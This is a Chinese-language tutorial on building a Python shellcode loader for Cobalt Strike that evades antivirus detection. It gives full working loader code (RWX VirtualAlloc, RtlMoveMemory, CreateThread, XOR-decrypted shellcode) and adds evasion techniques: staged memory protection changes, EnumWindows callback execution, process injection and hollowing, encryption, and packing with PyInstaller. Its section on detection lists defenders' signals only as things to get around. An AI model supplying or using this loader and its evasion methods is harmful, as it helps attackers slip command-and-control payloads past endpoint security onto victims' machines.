CS免杀-py加载器原理
字数 1800 2025-08-09 18:43:59
CS免杀-py加载器原理详解
1. 内存分配原理
在Python实现的Cobalt Strike免杀加载器中,内存分配是关键的第一步:
ctypes.windll.kernel32.VirtualAlloc(
ctypes.c_int(0), # 起始地址(NULL表示由系统决定)
ctypes.c_int(len(shellcode)), # 分配大小(字节为单位)
ctypes.c_int(0x3000), # 分配类型(MEM_COMMIT | MEM_RESERVE)
ctypes.c_int(0x40) # 内存保护标志(PAGE_EXECUTE_READWRITE)
)
参数详解:
-
起始地址 (
lpAddress):ctypes.c_int(0)表示NULL,让系统自动决定分配内存的位置- 分配的内存区域会按64KB边界向上取整
-
分配大小 (
dwSize):ctypes.c_int(len(shellcode))指定要分配的内存区域大小- 以字节为单位,通常为shellcode的长度
-
分配类型 (
flAllocationType):0x3000是MEM_COMMIT(0x1000)和MEM_RESERVE(0x2000)的组合MEM_RESERVE保留虚拟地址空间但不分配物理存储MEM_COMMIT分配物理内存或页面文件中的空间
-
内存保护 (
flProtect):0x40表示PAGE_EXECUTE_READWRITE- 该内存区域可执行代码,应用程序也可读写该区域
- 这是免杀的关键,因为通常正常程序不会申请可执行又可写的内存
2. 内存写入与执行
分配内存后,需要将shellcode写入并执行:
# 写入shellcode
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr), # 目标内存地址
ctypes.create_string_buffer(shellcode), # 源数据
ctypes.c_int(len(shellcode)) # 数据长度
)
# 创建线程执行shellcode
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0), # lpThreadAttributes (NULL=默认安全性)
ctypes.c_int(0), # dwStackSize (0=使用调用线程的栈大小)
ctypes.c_uint64(ptr), # lpStartAddress (执行起始地址)
ctypes.c_int(0), # lpParameter (NULL=不传递参数)
ctypes.c_int(0), # dwCreationFlags (0=创建后立即运行)
ctypes.pointer(ctypes.c_int(0)) # lpThreadId (NULL=不返回线程ID)
)
CreateThread参数详解:
-
线程安全属性 (
lpThreadAttributes):ctypes.c_int(0)表示NULL,使用默认安全性
-
栈大小 (
dwStackSize):ctypes.c_int(0)表示使用与调用线程相同的栈空间大小
-
起始地址 (
lpStartAddress):ctypes.c_uint64(ptr)指向之前分配并写入shellcode的内存地址
-
线程参数 (
lpParameter):ctypes.c_int(0)表示NULL,不传递参数
-
创建标志 (
dwCreationFlags):ctypes.c_int(0)表示线程创建后立即激活
-
线程ID (
lpThreadId):ctypes.pointer(ctypes.c_int(0))表示不返回线程ID
3. 免杀技术要点
-
内存属性组合:
- 使用
PAGE_EXECUTE_READWRITE是不常见的组合,正常程序通常使用PAGE_READWRITE或PAGE_EXECUTE_READ - 可以通过分阶段修改权限来规避检测:先申请
PAGE_READWRITE,写入后改为PAGE_EXECUTE_READ
- 使用
-
线程创建方式:
- 直接创建线程执行shellcode是常见的行为特征
- 替代方案:使用回调函数、APC注入、线程劫持等技术
-
shellcode加载:
- 明文的shellcode在Python脚本中容易被检测
- 改进方法:加密shellcode,运行时解密;或从远程服务器动态获取
-
Python加载器特点:
- 体积较大,容易被静态分析
- 建议使用PyInstaller等工具打包,或转换为可执行文件
4. 完整示例代码
import ctypes
# 加密的shellcode (示例)
encrypted_shellcode = b"\x12\x34\x56\x78\x90..."
# 解密函数 (示例)
def decrypt_shellcode(encrypted):
return bytes([b ^ 0x55 for b in encrypted])
# 获取解密后的shellcode
shellcode = decrypt_shellcode(encrypted_shellcode)
# 分配内存
ptr = ctypes.windll.kernel32.VirtualAlloc(
ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40)
)
# 写入内存
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
ctypes.create_string_buffer(shellcode),
ctypes.c_int(len(shellcode))
)
# 创建线程执行
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
# 等待线程结束
ctypes.windll.kernel32.WaitForSingleObject(
ctypes.c_int(handle),
ctypes.c_int(-1)
)
5. 进阶免杀技巧
-
内存权限分阶段修改:
# 初始分配为可读写 ptr = ctypes.windll.kernel32.VirtualAlloc( ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x04) # PAGE_READWRITE ) # 写入shellcode # ... # 修改为可执行 old_protect = ctypes.c_int(0) ctypes.windll.kernel32.VirtualProtect( ctypes.c_uint64(ptr), ctypes.c_int(len(shellcode)), ctypes.c_int(0x20), # PAGE_EXECUTE_READ ctypes.byref(old_protect) ) -
使用回调函数替代CreateThread:
# 使用EnumWindows等API的回调机制执行shellcode ctypes.windll.user32.EnumWindows( ctypes.c_uint64(ptr), # 回调函数地址(指向shellcode) ctypes.c_int(0) ) -
进程注入替代方案:
- 可以注入到其他合法进程(如explorer.exe)中执行
- 使用进程镂空(Process Hollowing)技术
-
对抗内存扫描:
- 分块写入shellcode
- 写入后立即执行,减少内存中驻留时间
- 使用堆栈翻转等技术
6. 检测与对抗
-
常见检测点:
- 具有RWX权限的内存区域
- 从非映像内存执行代码
- 动态生成的线程起始地址
- Python解释器加载可疑模块
-
对抗检测的方法:
- 使用合法的内存区域(如.text段)存放shellcode
- 利用已有内存区域而非新分配
- 模仿合法程序的内存访问模式
- 使用间接调用链
7. 总结
Python实现的Cobalt Strike加载器核心原理是通过Windows API分配可执行内存、写入shellcode并创建线程执行。免杀的关键在于:
- 合理组合内存权限,避免直接使用RWX
- 隐蔽线程创建方式,使用合法API间接执行
- 加密或隐藏shellcode,避免静态检测
- 模仿正常程序行为,减少异常特征
虽然Python加载器体积较大,但通过合理的混淆和打包技术,仍然可以构建有效的免杀方案。